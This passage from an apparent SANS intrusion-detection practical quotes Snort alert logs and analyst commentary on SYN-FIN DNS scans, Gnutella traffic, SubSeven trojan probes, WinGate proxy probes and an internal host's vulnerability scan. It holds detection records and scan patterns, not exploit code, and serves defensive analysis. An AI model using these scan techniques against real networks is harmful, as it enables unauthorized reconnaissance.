SnortA12.txt:05/28-10:31:15.557890  [**] spp_portscan: PORTSCAN DETECTED from 155.230.152.165 (STEALTH) [**]
SnortA12.txt:05/28-10:20:49.555094  [**] SYN-FIN scan! [**] 155.230.152.165:0 -> MY.NET.1.3:53
SnortA12.txt:05/28-10:20:49.567379  [**] SYN-FIN scan! [**] 155.230.152.165:0 -> MY.NET.1.4:53
SnortA12.txt:05/28-10:20:49.591095  [**] SYN-FIN scan! [**] 155.230.152.165:0 -> MY.NET.1.5:53
SnortA12.txt:05/28-10:31:15.659819  [**] spp_portscan: portscan status from 155.230.152.165: 3 connections across 3 hosts: TCP(3), UDP(0) STEALTH [*
SnortA12.txt:05/28-10:31:15.745067  [**] spp_portscan: End of portscan from 155.230.152.165 (TOTAL HOSTS:3 TCP:3 UDP:0) [**]
SnortA7.txt:05/28-10:31:15.557890  [**] spp_portscan: PORTSCAN DETECTED from 155.230.152.165 (STEALTH) [**]
SnortA7.txt:05/28-10:20:49.555094  [**] SYN-FIN scan! [**] 155.230.152.165:0 -> MY.NET.1.3:53
SnortA7.txt:05/28-10:20:49.567379  [**] SYN-FIN scan! [**] 155.230.152.165:0 -> MY.NET.1.4:53
SnortA7.txt:05/28-10:20:49.591095  [**] SYN-FIN scan! [**] 155.230.152.165:0 -> MY.NET.1.5:53
SnortA7.txt:05/28-10:31:15.659819  [**] spp_portscan: portscan status from 155.230.152.165: 3 connections across 3 hosts: TCP(3), UDP(0) STEALTH [**
SnortA7.txt:05/28-10:31:15.745067  [**] spp_portscan: End of portscan from 155.230.152.165 (TOTAL HOSTS:3 TCP:3 UDP:0) [**]
```

Next we see a very significant bit of activity coming from the University of Toronto, Canada. It is similar in purpose and execution to the above trace, however the attacker was attempting to locate every name server on the entire Class B network. There is no indication in the available logs that he was successful:

```
SnortA28.txt:05/22-08:38:57.892450  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.22:53
SnortA28.txt:05/22-08:38:57.992872  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.27:53
SnortA28.txt:05/22-08:38:58.152547  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.35:53
SnortA28.txt:05/22-08:38:58.672064  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.61:53
SnortA28.txt:05/22-08:38:58.772104  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.66:53
SnortA28.txt:05/22-08:38:58.791857  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.67:53
SnortA28.txt:05/22-08:38:59.052597  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.80:53
SnortA28.txt:05/22-08:38:59.290867  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.92:53
SnortA28.txt:05/22-08:38:59.312517  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.93:53
SnortA28.txt:05/22-08:38:59.332604  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.94:53
```

© SANS Institute 2000 - 2005 Author retains full rights.

```
SnortA28.txt:05/22-08:38:59.531974  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.104:53
SnortA28.txt:05/22-08:38:59.550049  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.105:53
SnortA28.txt:05/22-08:38:59.852434  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.120:53
SnortA28.txt:05/22-08:39:00.172173  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.136:53
SnortA28.txt:05/22-08:39:00.231550  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.139:53
SnortA28.txt:05/22-08:39:00.352457  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.145:53
SnortA28.txt:05/22-08:39:00.592233  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.157:53
SnortA28.txt:05/22-08:39:00.612120  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.158:53
SnortA28.txt:05/22-08:39:00.652976  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.160:53
SnortA28.txt:05/22-08:39:00.872584  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.171:53
SnortA28.txt:05/22-08:39:00.911004  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.173:53
SnortA28.txt:05/22-08:39:00.992633  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.177:53
SnortA28.txt:05/22-08:39:01.292146  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.192:53
SnortA28.txt:05/22-08:39:01.332543  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.194:53
SnortA28.txt:05/22-08:39:01.452375  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.200:53
SnortA28.txt:05/22-08:39:01.592186  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.207:53
SnortA28.txt:05/22-08:39:01.611859  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.208:53
SnortA28.txt:05/22-08:39:01.712740  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.213:53
SnortA28.txt:05/22-08:39:01.732511  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.214:53
SnortA28.txt:05/22-08:39:01.832189  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.219:53
SnortA28.txt:05/22-08:39:01.991680  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.227:53
SnortA28.txt:05/22-08:39:02.110182  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.233:53
SnortA28.txt:05/22-08:39:02.212487  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.238:53
SnortA28.txt:05/22-08:39:02.432990  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.1.249:53
SnortA28.txt:05/22-08:39:02.592545  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.2.2:53
SnortA28.txt:05/22-08:39:02.692569  [**] SYN-FIN scan! [**] 142.150.225.137:53 -> MY.NET.2.7:53
```

Amidst the high volume of apparent false positive reports, there are quite a few additional items to be concerned with. Gnutella traffic was reported during the early morning hours between one local host and an ISP in Israel. Gnutella allows the sharing of files through firewalls, often unnoticed:

```
SnortA28.txt:05/22-02:46:06.262027  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.41:1202 -> MY.NET.203.230:6346
SnortA28.txt:05/22-02:46:24.922793  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.41:1204 -> MY.NET.203.230:6346
SnortA28.txt:05/22-02:46:41.793528  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.41:1204 -> MY.NET.203.230:6346
SnortA28.txt:05/22-02:46:48.019791  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.41:1204 -> MY.NET.203.230:6346
SnortA28.txt:05/22-02:46:51.087891  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.41:1204 -> MY.NET.203.230:6346
SnortA28.txt:05/22-02:46:52.194788  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.41:1204 -> MY.NET.203.230:6346
SnortA28.txt:05/22-02:46:55.201668  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.41:1204 -> MY.NET.203.230:6346
SnortA28.txt:05/22-02:47:07.585322  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.41:1204 -> MY.NET.203.230:6346
SnortA28.txt:05/22-02:47:17.790565  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.41:1204 -> MY.NET.203.230:6346
SnortA28.txt:05/22-02:47:19.150127  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.41:1204 -> MY.NET.203.230:6346
SnortA28.txt:05/22-02:47:36.163942  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.41:1204 -> MY.NET.203.230:6346
SnortA28.txt:05/22-02:47:41.365633  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.41:1204 -> MY.NET.203.230:6346
SnortA28.txt:05/22-02:47:41.824976  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.41:1204 -> MY.NET.203.230:6346
SnortA28.txt:05/22-02:57:12.518101  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.13:1048 -> MY.NET.203.230:6346
SnortA28.txt:05/22-02:57:48.281350  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.13:1048 -> MY.NET.203.230:6346
SnortA28.txt:05/22-02:57:53.318802  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.13:1048 -> MY.NET.203.230:6346
SnortA28.txt:05/22-02:58:06.801503  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.13:1048 -> MY.NET.203.230:6346
SnortA28.txt:05/22-02:58:31.903742  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.13:1048 -> MY.NET.203.230:6346
SnortA28.txt:05/22-02:58:36.244373  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.13:1048 -> MY.NET.203.230:6346
SnortA28.txt:05/22-02:58:43.704610  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.13:1048 -> MY.NET.203.230:6346
SnortA28.txt:05/22-02:58:45.828579  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.13:1048 -> MY.NET.203.230:6346
SnortA28.txt:05/22-02:58:52.392463  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.13:1048 -> MY.NET.203.230:6346
SnortA28.txt:05/22-02:59:01.478564  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.13:1048 -> MY.NET.203.230:6346
SnortA28.txt:05/22-02:59:05.333379  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.13:1048 -> MY.NET.203.230:6346
SnortA28.txt:05/22-02:59:36.145974  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.13:1048 -> MY.NET.203.230:6346
SnortA28.txt:05/22-03:00:09.714647  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.13:1048 -> MY.NET.203.230:6346
SnortA28.txt:05/22-03:00:35.202856  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.13:1048 -> MY.NET.203.230:6346
SnortA28.txt:05/22-03:00:36.256968  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.13:1048 -> MY.NET.203.230:6346
SnortA28.txt:05/22-03:00:49.539291  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.13:1048 -> MY.NET.203.230:6346
SnortA28.txt:05/22-03:00:51.081867  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.13:1048 -> MY.NET.203.230:6346
SnortA28.txt:05/22-03:00:54.226990  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.13:1048 -> MY.NET.203.230:6346
SnortA28.txt:05/22-03:00:55.118157  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.13:1048 -> MY.NET.203.230:6346
SnortA28.txt:05/22-03:01:37.602494  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.13:1048 -> MY.NET.203.230:6346
SnortA28.txt:05/22-03:01:52.293206  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.13:1048 -> MY.NET.203.230:6346
SnortA28.txt:05/22-03:01:53.877274  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.13:1048 -> MY.NET.203.230:6346
SnortA28.txt:05/22-03:02:43.409594  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.13:1048 -> MY.NET.203.230:6346
SnortA28.txt:05/22-03:03:07.146133  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.13:1048 -> MY.NET.203.230:6346
SnortA28.txt:05/22-03:03:09.460194  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.13:1048 -> MY.NET.203.230:6346
SnortA28.txt:05/22-03:03:40.299966  [**] Watchlist 000220 IL-ISDNNET-990517 [**] 212.179.20.13:1048 -> MY.NET.203.230:6346
SnortA28.txt:05/22-09:04:38.194326  [**] Null scan! [**] 128.54.180.46:1277 -> MY.NET.203.230:6346
SnortS7.txt:May 27 11:48:50 24.27.192.77:41021 -> MY.NET.203.230:6346 FIN ***F****
```

The last entry in the above trace was part of a larger scan coming from a cable modem host on the RoadRunner network:

```
SnortA6.txt:05/27-12:02:11.661474  [**] spp_portscan: PORTSCAN DETECTED from 24.27.192.77 (STEALTH) [**]
SnortA6.txt:05/27-12:02:13.504656  [**] spp_portscan: portscan status from 24.27.192.77: 1 connections across 1 hosts: TCP(1), UDP(0) STEALTH [**]
SnortA6.txt:05/27-12:02:14.923029  [**] spp_portscan: End of portscan from 24.27.192.77 (TOTAL HOSTS:1 TCP:1 UDP:0) [**]
SnortA6.txt:05/27-19:05:10.651457  [**] spp_portscan: PORTSCAN DETECTED from 24.27.192.77 (STEALTH) [**]
SnortA6.txt:05/27-19:05:10.906962  [**] spp_portscan: portscan status from 24.27.192.77: 1 connections across 1 hosts: TCP(1), UDP(0) STEALTH [**]
SnortA6.txt:05/27-19:05:11.783643  [**] spp_portscan: End of portscan from 24.27.192.77 (TOTAL HOSTS:1 TCP:1 UDP:0) [**]
SnortA9.txt:05/27-12:02:11.661474  [**] spp_portscan: PORTSCAN DETECTED from 24.27.192.77 (STEALTH) [**]
SnortA9.txt:05/27-12:02:13.504656  [**] spp_portscan: portscan status from 24.27.192.77: 1 connections across 1 hosts: TCP(1), UDP(0) STEALTH [**]
SnortA9.txt:05/27-12:02:14.923029  [**] spp_portscan: End of portscan from 24.27.192.77 (TOTAL HOSTS:1 TCP:1 UDP:0) [**]
SnortA9.txt:05/27-19:05:10.651457  [**] spp_portscan: PORTSCAN DETECTED from 24.27.192.77 (STEALTH) [**]
SnortA9.txt:05/27-19:05:10.906962  [**] spp_portscan: portscan status from 24.27.192.77: 1 connections across 1 hosts: TCP(1), UDP(0) STEALTH [**]
SnortA9.txt:05/27-19:05:11.783643  [**] spp_portscan: End of portscan from 24.27.192.77 (TOTAL HOSTS:1 TCP:1 UDP:0) [**]
SnortS7.txt:May 27 11:48:50 24.27.192.77:41021 -> MY.NET.203.230:6346 FIN ***F****
SnortS7.txt:May 27 18:55:36 24.27.192.77:42340 -> MY.NET.218.82:6346 FIN ***F****
```

The following trace is a small excerpt from a series of 74, 813 connection attempts to a remote administration "trojan horse" known as SubSeven. There were a number of other similar trojan scans, but none as flagrant as this series from 18 different hosts in a one month period:

```
../scans/SnortS15.txt:Jun 18 02:36:46 207.151.47.240:2666 -> MY.NET.254.246:27374 SYN **S*****
../scans/SnortS15.txt:Jun 18 02:36:46 207.151.47.240:2666 -> MY.NET.254.248:27374 SYN **S*****
../scans/SnortS15.txt:Jun 18 02:36:46 207.151.47.240:2666 -> MY.NET.254.251:27374 SYN **S*****
../scans/SnortS15.txt:Jun 18 02:36:46 207.151.47.240:2666 -> MY.NET.254.253:27374 SYN **S*****
```

© SANS Institute 2000 - 2005 Author retains full rights.

```
../scans/SnortS15.txt:Jun 18 20:39:22 213.1.132.21:4970 -> MY.NET.218.26:27374 SYN **S*****
../scans/SnortS15.txt:Jun 18 20:39:26 213.1.132.21:4970 -> MY.NET.218.26:27374 SYN **S*****
../scans/SnortS17.txt:Jun  1 10:29:36 172.129.14.175:1996 -> MY.NET.146.68:27374 SYN **S*****
../scans/SnortS17.txt:Jun  1 10:31:02 172.129.14.175:2067 -> MY.NET.146.68:27374 SYN **S*****
../scans/SnortS17.txt:Jun  1 10:31:04 172.129.14.175:2067 -> MY.NET.146.68:27374 SYN **S*****
../scans/SnortS17.txt:Jun  1 14:20:33 24.2.169.101:1287 -> MY.NET.1.2:27374 SYN **S*****
../scans/SnortS17.txt:Jun  1 14:20:32 24.2.169.101:1286 -> MY.NET.1.1:27374 SYN **S*****
../scans/SnortS17.txt:Jun  1 14:20:31 24.2.169.101:1288 -> MY.NET.1.3:27374 SYN **S*****
../scans/SnortS17.txt:Jun  1 14:20:31 24.2.169.101:1289 -> MY.NET.1.4:27374 SYN **S*****
../scans/SnortS17.txt:Jun  1 14:20:31 24.2.169.101:1290 -> MY.NET.1.5:27374 SYN **S*****
../scans/SnortS17.txt:Jun  1 14:20:32 24.2.169.101:1291 -> MY.NET.1.6:27374 SYN **S*****
```

Next we see a high volume of traffic destined for common proxy server listening ports. The frequency and duration of this traffic leads us to believe that the local hosts targeted may be included in a web list of publicly available proxies. A good example of such lists can be found at http://www.cyberarmy.com/lists. Be aware, the term "Attempt" in these logs does not indicate a failed attempt. The tool used in this analysis is merely logging the initial connection request, not any subsequent established connection traffic:

```
SnortA18.txt:06/12-08:49:54.524761  [**] WinGate 8080 Attempt [**] 24.3.26.53:1106 -> MY.NET.253.105:8080
SnortA18.txt:06/12-08:50:54.971302  [**] WinGate 8080 Attempt [**] 24.3.26.53:1107 -> MY.NET.253.105:8080
SnortA18.txt:06/12-08:51:17.317189  [**] WinGate 8080 Attempt [**] 131.118.251.180:1682 -> MY.NET.253.105:8080
SnortA18.txt:06/12-08:51:19.073530  [**] WinGate 8080 Attempt [**] 128.231.171.123:1092 -> MY.NET.253.105:8080
SnortA18.txt:06/12-08:51:28.712139  [**] WinGate 8080 Attempt [**] 131.118.251.180:1683 -> MY.NET.253.105:8080
SnortA18.txt:06/12-08:51:38.911435  [**] WinGate 8080 Attempt [**] 131.118.251.180:1684 -> MY.NET.253.105:8080
SnortA17.txt:05/16-11:53:27.905858  [**] WinGate 8080 Attempt [**] 24.13.120.49:61890 -> MY.NET.253.105:8080
SnortA17.txt:05/16-11:57:15.368442  [**] WinGate 8080 Attempt [**] 128.231.171.123:1214 -> MY.NET.253.105:8080
SnortA17.txt:05/16-11:59:15.412208  [**] WinGate 8080 Attempt [**] 128.231.171.123:1216 -> MY.NET.253.105:8080
SnortA17.txt:05/16-12:03:27.869476  [**] WinGate 8080 Attempt [**] 24.13.120.49:61891 -> MY.NET.253.105:8080
SnortA17.txt:05/16-12:03:30.952554  [**] WinGate 8080 Attempt [**] 24.13.120.49:61891 -> MY.NET.253.105:8080
SnortA16.txt:06/01-17:01:16.288902  [**] WinGate 8080 Attempt [**] 24.3.26.53:1204 -> MY.NET.253.105:8080
SnortA16.txt:06/01-17:02:16.440733  [**] WinGate 8080 Attempt [**] 24.3.26.53:1206 -> MY.NET.253.105:8080
SnortA16.txt:06/01-17:03:16.593859  [**] WinGate 8080 Attempt [**] 24.3.26.53:1207 -> MY.NET.253.105:8080
SnortA16.txt:06/01-17:03:48.650652  [**] WinGate 8080 Attempt [**] 128.231.171.123:1419 -> MY.NET.253.105:8080
SnortA16.txt:06/01-17:04:48.705924  [**] WinGate 8080 Attempt [**] 128.231.171.123:1420 -> MY.NET.253.105:8080
SnortA23.txt:06/19-13:03:37.886379  [**] WinGate 8080 Attempt [**] 128.231.171.123:1257 -> MY.NET.253.105:8080
SnortA23.txt:06/19-13:04:05.717287  [**] WinGate 8080 Attempt [**] 172.164.147.45:1422 -> MY.NET.253.105:8080
SnortA23.txt:06/19-13:04:37.948574  [**] WinGate 8080 Attempt [**] 128.231.171.123:1260 -> MY.NET.253.105:8080
SnortA23.txt:06/19-13:06:05.768748  [**] WinGate 8080 Attempt [**] 172.164.147.45:1501 -> MY.NET.253.105:8080
SnortA23.txt:06/19-13:08:05.928800  [**] WinGate 8080 Attempt [**] 172.164.147.45:1578 -> MY.NET.253.105:8080
SnortA23.txt:06/19-13:09:06.121603  [**] WinGate 8080 Attempt [**] 172.164.147.45:1590 -> MY.NET.253.105:8080
SnortA24.txt:06/20-01:02:22.056453  [**] WinGate 8080 Attempt [**] 64.38.33.27:1188 -> MY.NET.253.105:8080
SnortA24.txt:06/20-01:02:28.586115  [**] WinGate 8080 Attempt [**] 64.38.33.27:1188 -> MY.NET.253.105:8080
```

One more particular trace will be included here, as it is something that should be addressed immediately. The attacker appears to be located within the trusted network and may be a previously compromised system, or worse, a trusted user who is attempting to access resources he or she is not authorized. This is a broad scan for many known vulnerable services that could be exploited to give the attacker the highest priveledge. A variety of attack and reconnaisance tools were used by this individual for the duration of our survey. For the sake of brevity, only a small extract of the scan is presented here. The logs in their entirety will be presented independent of this document:

```
OOSche25.txt:05/22-09:00:27.782687 142.150.225.137:53 -> MY.NET.253.122:53
OOSche25.txt:05/22-09:00:27.842726 142.150.225.137:53 -> MY.NET.253.125:53
OOScheck.txt:06/11-23:57:02.655890 24.27.187.245:53 -> MY.NET.253.12:53
OOScheck.txt:06/11-23:57:19.253712 24.27.187.245:53 -> MY.NET.70.58:53
SnortA11.txt:05/28-14:34:14.239404  [**] spp_portscan: PORTSCAN DETECTED from MY.NET.253.12 (THRESHOLD 7 connections in 2 seconds) [**]
SnortA11.txt:05/28-14:34:15.514380  [**] spp_portscan: portscan status from MY.NET.253.12: 25 connections across 1 hosts: TCP(25), UDP(0) [**]
SnortA11.txt:05/28-14:34:16.886975  [**] spp_portscan: portscan status from MY.NET.253.12: 40 connections across 1 hosts: TCP(40), UDP(0) [**]
SnortA11.txt:05/28-14:34:18.002565  [**] spp_portscan: portscan status from MY.NET.253.12: 50 connections across 1 hosts: TCP(50), UDP(0) [**]
SnortA11.txt:05/28-14:34:19.119819  [**] spp_portscan: portscan status from MY.NET.253.12: 50 connections across 1 hosts: TCP(50), UDP(0) [**]
SnortA11.txt:05/28-14:34:20.187138  [**] spp_portscan: portscan status from MY.NET.253.12: 50 connections across 1 hosts: TCP(50), UDP(0) [**]
SnortA11.txt:05/28-14:34:21.446321  [**] spp_portscan: portscan status from MY.NET.253.12: 50 connections across 1 hosts: TCP(50), UDP(0) [**]
SnortA11.txt:05/28-14:34:22.473030  [**] spp_portscan: portscan status from MY.NET.253.12: 50 connections across 1 hosts: TCP(50), UDP(0) [**]
SnortA11.txt:05/28-14:34:23.796128  [**] spp_portscan: portscan status from MY.NET.253.12: 51 connections across 1 hosts: TCP(51), UDP(0) [**]
SnortA11.txt:05/28-14:34:24.976419  [**] spp_portscan: portscan status from MY.NET.253.12: 50 connections across 1 hosts: TCP(50), UDP(0) [**]
SnortA11.txt:05/28-14:34:25.986868  [**] spp_portscan: portscan status from MY.NET.253.12: 50 connections across 1 hosts: TCP(50), UDP(0) [**]
SnortA11.txt:05/28-14:34:27.059029  [**] spp_portscan: portscan status from MY.NET.253.12: 51 connections across 1 hosts: TCP(51), UDP(0) [**]
SnortA11.txt:05/28-14:29:58.037017  [**] WinGate 1080 Attempt [**] MY.NET.253.12:43746 -> MY.NET.16.0:1080
SnortA11.txt:05/28-14:34:28.564999  [**] spp_portscan: portscan status from MY.NET.253.12: 60 connections across 1 hosts: TCP(60), UDP(0) [**]
SnortA11.txt:05/28-14:46:04.577642  [**] spp_portscan: PORTSCAN DETECTED from MY.NET.253.12 (THRESHOLD 7 connections in 2 seconds) [**]
SnortA11.txt:05/28-14:46:05.154566  [**] spp_portscan: portscan status from MY.NET.253.12: 44 connections across 1 hosts: TCP(44), UDP(0) [**]
SnortA11.txt:05/28-14:46:06.948211  [**] spp_portscan: portscan status from MY.NET.253.12: 65 connections across 1 hosts: TCP(65), UDP(0) [**]
SnortA11.txt:05/28-14:46:08.456199  [**] spp_portscan: portscan status from MY.NET.253.12: 55 connections across 1 hosts: TCP(55), UDP(0) [**]
SnortA11.txt:05/28-14:46:10.019900  [**] spp_portscan: portscan status from MY.NET.253.12: 55 connections across 1 hosts: TCP(55), UDP(0) [**]
SnortA11.txt:05/28-14:46:11.618857  [**] spp_portscan: portscan status from MY.NET.253.12: 57 connections across 1 hosts: TCP(57), UDP(0) [**]
SnortA11.txt:05/28-14:46:13.201943  [**] spp_portscan: portscan status from MY.NET.253.12: 55 connections across 1 hosts: TCP(55), UDP(0) [**]
SnortA11.txt:05/28-14:30:19.134140  [**] WinGate 8080 Attempt [**] MY.NET.253.12:43746 -> MY.NET.16.0:8080
SnortA11.txt:05/28-14:30:19.474450  [**] WinGate 8080 Attempt [**] MY.NET.253.12:43747 -> MY.NET.16.0:8080
SnortA11.txt:05/28-14:46:14.418503  [**] spp_portscan: portscan status from MY.NET.253.12: 55 connections across 1 hosts: TCP(55), UDP(0) [**]
SnortA11.txt:05/28-14:46:15.650622  [**] spp_portscan: portscan status from MY.NET.253.12: 55 connections across 1 hosts: TCP(55), UDP(0) [**]
SnortA11.txt:05/28-14:46:16.311218  [**] spp_portscan: portscan status from MY.NET.253.12: 55 connections across 1 hosts: TCP(55), UDP(0) [**]
SnortA11.txt:05/28-14:46:17.132297  [**] spp_portscan: portscan status from MY.NET.253.12: 54 connections across 1 hosts: TCP(54), UDP(0) [**]
SnortA11.txt:05/28-14:46:18.332294  [**] spp_portscan: portscan status from MY.NET.253.12: 56 connections across 1 hosts: TCP(56), UDP(0) [**]
SnortA11.txt:05/28-14:46:19.153239  [**] spp_portscan: portscan status from MY.NET.253.12: 55 connections across 1 hosts: TCP(55), UDP(0) [**]
SnortA11.txt:05/28-14:46:20.318227  [**] spp_portscan: portscan status from MY.NET.253.12: 66 connections across 1 hosts: TCP(66), UDP(0) [**]
SnortA11.txt:05/28-14:46:21.372716  [**] spp_portscan: portscan status from MY.NET.253.12: 60 connections across 1 hosts: TCP(60), UDP(0) [**]
SnortA11.txt:05/28-14:46:22.620904  [**] spp_portscan: portscan status from MY.NET.253.12: 60 connections across 1 hosts: TCP(60), UDP(0) [**]
SnortA11.txt:05/28-14:46:23.756535  [**] spp_portscan: portscan status from MY.NET.253.12: 71 connections across 1 hosts: TCP(71), UDP(0) [**]
SnortA11.txt:05/28-14:30:50.876461  [**] SUNRPC highport access! [**] MY.NET.253.12:43746 -> MY.NET.16.0:32771
SnortA11.txt:05/28-14:30:51.185774  [**] SUNRPC highport access! [**] MY.NET.253.12:43747 -> MY.NET.16.0:32771
SnortA11.txt:05/28-14:46:25.017146  [**] spp_portscan: portscan status from MY.NET.253.12: 60 connections across 1 hosts: TCP(60), UDP(0) [**]
SnortA11.txt:05/28-14:46:26.683780  [**] spp_portscan: portscan status from MY.NET.253.12: 60 connections across 1 hosts: TCP(60), UDP(0) [**]
SnortA11.txt:05/28-14:46:28.581629  [**] spp_portscan: portscan status from MY.NET.253.12: 48 connections across 1 hosts: TCP(48), UDP(0) [**]
SnortA11.txt:05/28-14:46:30.565062  [**] spp_portscan: portscan status from MY.NET.253.12: 60 connections across 1 hosts: TCP(60), UDP(0) [**]
SnortA11.txt:05/28-14:46:31.666763  [**] spp_portscan: portscan status from MY.NET.253.12: 36 connections across 1 hosts: TCP(36), UDP(0) [**]
SnortA11.txt:05/28-14:31:04.905230  [**] SUNRPC highport access! [**] MY.NET.253.12:43749 -> MY.NET.16.0:32771
SnortA11.txt:05/28-14:31:05.245775  [**] SUNRPC highport access! [**] MY.NET.253.12:43750 -> MY.NET.16.0:32771
SnortA11.txt:05/28-14:46:32.876588  [**] spp_portscan: portscan status from MY.NET.253.12: 50 connections across 1 hosts: TCP(50), UDP(0) [**]
SnortA11.txt:05/28-14:46:33.656716  [**] spp_portscan: portscan status from MY.NET.253.12: 40 connections across 1 hosts: TCP(40), UDP(0) [**]
```

© SANS Institute 2000 - 2005 Author retains full rights.

```
SnortA11.txt:05/28-14:46:34.565663  [**] spp_portscan: portscan status from MY.NET.253.12: 50 connections across 1 hosts: TCP(50), UDP(0) [**]
SnortA11.txt:05/28-14:46:35.605741  [**] spp_portscan: portscan status from MY.NET.253.12: 50 connections across 1 hosts: TCP(50), UDP(0) [**]
SnortA11.txt:05/28-14:46:36.816437  [**] spp_portscan: portscan status from MY.NET.253.12: 60 connections across 1 hosts: TCP(60), UDP(0) [**]
SnortA11.txt:05/28-14:46:37.813402  [**] spp_portscan: portscan status from MY.NET.253.12: 46 connections across 1 hosts: TCP(46), UDP(0) [**]
SnortA11.txt:05/28-14:46:39.148487  [**] spp_portscan: portscan status from MY.NET.253.12: 43 connections across 1 hosts: TCP(43), UDP(0) [**]
SnortA11.txt:05/28-14:46:39.889631  [**] spp_portscan: portscan status from MY.NET.253.12: 50 connections across 1 hosts: TCP(50), UDP(0) [**]
SnortA11.txt:05/28-14:46:40.723982  [**] spp_portscan: portscan status from MY.NET.253.12: 52 connections across 1 hosts: TCP(52), UDP(0) [**]
SnortA11.txt:05/28-14:46:41.969472  [**] spp_portscan: portscan status from MY.NET.253.12: 44 connections across 1 hosts: TCP(44), UDP(0) [**]
SnortA11.txt:05/28-14:46:42.770147  [**] spp_portscan: portscan status from MY.NET.253.12: 44 connections across 1 hosts: TCP(44), UDP(0) [**]
SnortA11.txt:05/28-14:31:39.938150  [**] WinGate 8080 Attempt [**] MY.NET.253.12:43750 -> MY.NET.16.0:8080
SnortA11.txt:05/28-14:46:43.854015  [**] spp_portscan: portscan status from MY.NET.253.12: 55 connections across 1 hosts: TCP(55), UDP(0) [**]
SnortA11.txt:05/28-14:46:44.813763  [**] spp_portscan: portscan status from MY.NET.253.12: 54 connections across 1 hosts: TCP(54), UDP(0) [**]
SnortA11.txt:05/28-14:46:45.973964  [**] spp_portscan: portscan status from MY.NET.253.12: 55 connections across 1 hosts: TCP(55), UDP(0) [**]
SnortA11.txt:05/28-14:46:46.979246  [**] spp_portscan: portscan status from MY.NET.253.12: 52 connections across 1 hosts: TCP(52), UDP(0) [**]
